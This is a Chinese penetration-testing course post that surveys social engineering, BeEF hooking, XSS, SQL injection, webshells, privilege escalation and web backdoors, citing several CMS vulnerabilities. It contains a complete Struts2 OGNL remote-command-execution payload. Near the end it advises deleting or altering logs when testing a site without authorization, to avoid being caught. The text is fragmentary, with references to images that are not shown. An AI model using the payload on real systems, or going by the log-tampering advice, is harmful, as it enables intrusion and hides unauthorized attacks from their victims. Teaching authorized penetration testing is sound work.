双十一来了,团队也在想着为大家搞点福利。所以特约好朋友给大家开几期渗透测试课程。此次课程基本上就是利用自己搭建靶场和编写靶场,给大家进行讲解。大佬已经有着非常丰富的渗透测试经验,必定会把套路传给大家。
明天启程系列课程也会进行更新,视频文章同时出,由于上节课程听朋友们普遍反映声音比较低,就没有进行外放,这次老师会把上一节课程全部补上,在进行全部外放。
福利:2篇技术文章+2个视频
社会工程学(Social Engineering,又被翻译为:社交工程学)在上世纪60年代左右作为正式的学科出现,广义社会工程学的定义是:建立理论并通过利用自然的、社会的和制度上的途径来逐步地解决各种复杂的社会问题,经过多年的应用发展,社会工程学逐渐产生出了分支学科,如公安社会工程学(简称公安社工学)和网络社会工程学。
简单来说社会工程学就是对目标的信息搜集,当然不仅仅是搜集目标主动泄漏的信息,还要利用各种方式去获取目标的相关系统。
在渗透测试的过程中,社工技术会对整个渗透测试的方案和最终结果产生巨大的影响。
主要获取的信息(渗透测试中)包括:服务器信息,网站所有者信息,域名信息等。
例:对红日实验室的简单社工
应用方面我们要讲的就会多一些了,虽然网站类型多变,各种语言层出不穷,但主要的漏洞就是那么几个。可以参考owasp top 10
,我优先为大家介绍一下危害比较大的漏洞类型。
当我们访问这个页面时,我们的PC就在攻击者的beef中上线了
通过 beef,我们可以对上线的浏览器进行很多的后门操作比如最基本的弹窗:
http://www.alliedjeep.com/87508.htm
couponPHP CMS 1.0
跨站脚本漏洞 couponPHP
是优惠劵和交易网站的内容管理系统。 couponPHP CMS 1.0
版本没有正确过滤 /admin/ajax/comments_paginate.php
或 /admin/ajax/stores_paginate.php
的 “sEcho” GET 参数值,在实现上存在多个跨站脚本漏洞,可导致在用户浏览器会话中执行任意HTML和脚本代码。上面两个图片,是数据以get
及post
方式发送的代码内容,我们的参数就是以这种形式发送的。而后台接收后的样子类似是这样的
Select * from (xxx数据表) where what=(‘id’)
id
为你输入的参数,而sql
注入就是在这个语句后面加入攻击者自己构造的语句,使数据库查询出我们想要的数据并给前台一定的提示。
并会在我们的靶场中进行攻击学习.
漏洞实战演练:http://www.cnblogs.com/moqiang02/p/4061399.html
个人总结:sql注入仍然是被利用最多的漏洞,他的危害程度和利用范围也是其他漏洞不可以比的,而且逐渐开始工具化,手工注入越来越少,虽然难度大的注入漏洞几乎只能用手工去做,但一点也不影响工具的推广和利用,比较常用的攻击工具sqlmap,可以实现大量的绕过和注入方法。当然,因为他的功能越来越强大,使用的方法也越来越复杂,有的注入点,有可能同样是用sqlmap,小白就注入不进去,可是有的老手就可以通过对语句和参数的修改注入成功。
当然有很多的注入点也需要自己手工去写一些脚本去进行测试,因为盲注这一形式的存在,给手工注入带来了巨大的麻烦,图片为我自己编写的盲注的小脚本,可以利用注入去暴力猜出用户的密码。
POC框架
漏洞实战演练:https://loudong.sjtu.edu.cn/show/CNVD-2017-04015
齐博CMS
整站系统V7.0
存在越权访问漏洞
个人总结:对于越权漏洞的主要挖掘方法:
漏洞实战演练:http://sec.sangfor.com.cn/vulns/236.html
Pligg CMS 2.0.2
目录遍历漏洞
个人总结:其实在目录漏洞需要配合其他的漏洞进行组合攻击,单独目录漏洞的危害性并不大,但他的可利用程度确很高,当存在其他的漏洞时,这个漏洞就可以帮助我们获取到更多的权限。
http://www.xuebuyuan.com/1062689.html
Phpcms 2007
远程文件包含漏洞漏洞实战演练:网上随处可见的struts2
网站,只要是没有升级或打上补丁的,都会存在问题
struts2
漏洞了,当然,还有weblogic
等等,今天主要给大家分享struts2
的相关知识 Struts2
是一个基于MVC
设计模式的Web
应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2
作为控制器(Controller)
来建立模型与视图的数据交互。Struts 2
是Struts
的下一代产品,是在 struts 1
和WebWork
的技术基础上进行了合并的全新的Struts 2
框架。其全新的Struts 2
的体系结构与Struts 1
的体系结构差别巨大。Struts 2
以WebWork
为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI
完全脱离开,所以Struts 2
可以理解为WebWork
的更新产品。虽然从Struts 1
到Struts 2
有着太大的变化,但是相对于WebWork,Struts 2
的变化很小。 ["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
漏洞实战演练:https://www.lvtao.net/shell/phpcms-upload-webshell.html
phpcms
前台头像上传漏洞导致webshell
详解及案例
webshell
,按语言主要分为三种php,asp,jsp
其他衍生的类型不计其数,但核心仍是这三种,主要目的就是通过webshell
,对网站进行控制。当我们拿到webshell后,我们要做的就是权限提升了,我们真正开接触到我们的目标了现在。
- 内部信息收集:
+ 根据我们的目标,我们要开始收拾信息,网站的基本信息,管理者的行为信息,目标的内部环境等,我们有了一个跳板就要把我们可以拿到的点都拿到手中,这样才可以保证我们的目的达成。
- 系统漏洞利用:
+ 我们的主要方法是溢出漏洞,当然也存在其他的提权方法,但在这节课中不涉及那些高级的应用了。在溢出漏洞中,我们首先要通过我们收集到的信息来确定我们可以利用的漏洞有可能有那些,如果运气好,我们的漏洞有可以利用的那直接利用已有的角本,我们可以直接拿到服务器的权限了,如果不能,那就要去一点点的测试,看看这个系统上安装了什么软件,然后去寻找一个可以让我们利用的溢出点,能过编写这个脚本来进行提权。比较常见的提权脚本有:
当然,还有很多很多,我就不一一展示了,还有一部分要涉及到密码的寻找,如果,我们没有办法溢出,那我们就要想办法找到高级管理员的密码,来登录到高权限的帐户上去
网页后门其实就是一段网页代码,主要以ASP和PHP代码为主。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行某些危险的操作,获得某些敏感的技术信息或者通过渗透,提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道,比一般的入侵更具有隐蔽性。
网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。
这是主要的两种后门情况,一个好的后门要保证自身不被发现,不被安全软件识别并杀死,可以进行实时的更新。
完成一次完整形的渗透测试,最后一步,是对日志的处理,当我们有客户授权的情况下,这一步并不重要,但当你是自己做一些友情测试里,这一步就是最重要的一步,你要通过对日志的处理来更好的保护自己,删除敏感日志,或修改日志内容,并备份真实日志。
整个测试结束,我们要对我们的思路和过程做一个完整的总结,保证下次我们遇到类似的环境时,可以直接利用我们已经有的东西,并在自身的团队中交流经验,总结这次工作中的不足,这是进步最好的方法。